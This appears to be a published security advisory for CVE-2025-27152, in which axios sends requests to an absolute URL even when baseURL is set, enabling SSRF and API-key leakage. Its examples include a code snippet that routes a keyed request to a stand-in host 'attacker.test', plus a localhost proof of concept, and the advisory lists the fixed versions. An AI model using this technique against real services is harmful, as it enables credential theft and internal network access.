CVE-2025-27152
ADVISORY - githubSummary
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
- When
baseURL
is set, passing an absolute URL such ashttp://attacker.test/
toget()
should not ignorebaseURL
. - Before sending the HTTP request (after combining the
baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL
.
PoC
Follow the steps below to reproduce the issue:
- Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
- Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
- Run the script:
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURL
and does not validate path parameters is affected by this issue.
Common Weakness Enumeration (CWE)
Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF)
GitHub
-
CVSS SCORE
7.7highPackage | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
---|---|---|---|---|---|
axios | npm | - | - | >=1.0.0,<1.8.2 | 1.8.2 |
axios | npm | - | - | <0.30.0 | 0.30.0 |
CVSS:4 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges.
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
There is no loss of integrity within the Vulnerable System.
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
There is no impact to availability within the Vulnerable System.
There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.
NIST
-
CVSS SCORE
7.7highDebian
-
Ubuntu
-
CVSS SCORE
N/AmediumChainguard
CGA-3v2g-qxr9-6p2f
-
Chainguard
CGA-642h-h99q-qpr5
-
Chainguard
CGA-cw47-g5xg-vcxc
-
Chainguard
CGA-f8gr-r69c-89fc
-
Chainguard
CGA-g7p6-q4mx-2jg4
-
Chainguard
CGA-gf4m-xr23-p87v
-
Chainguard
CGA-xq8x-44v3-qrv4
-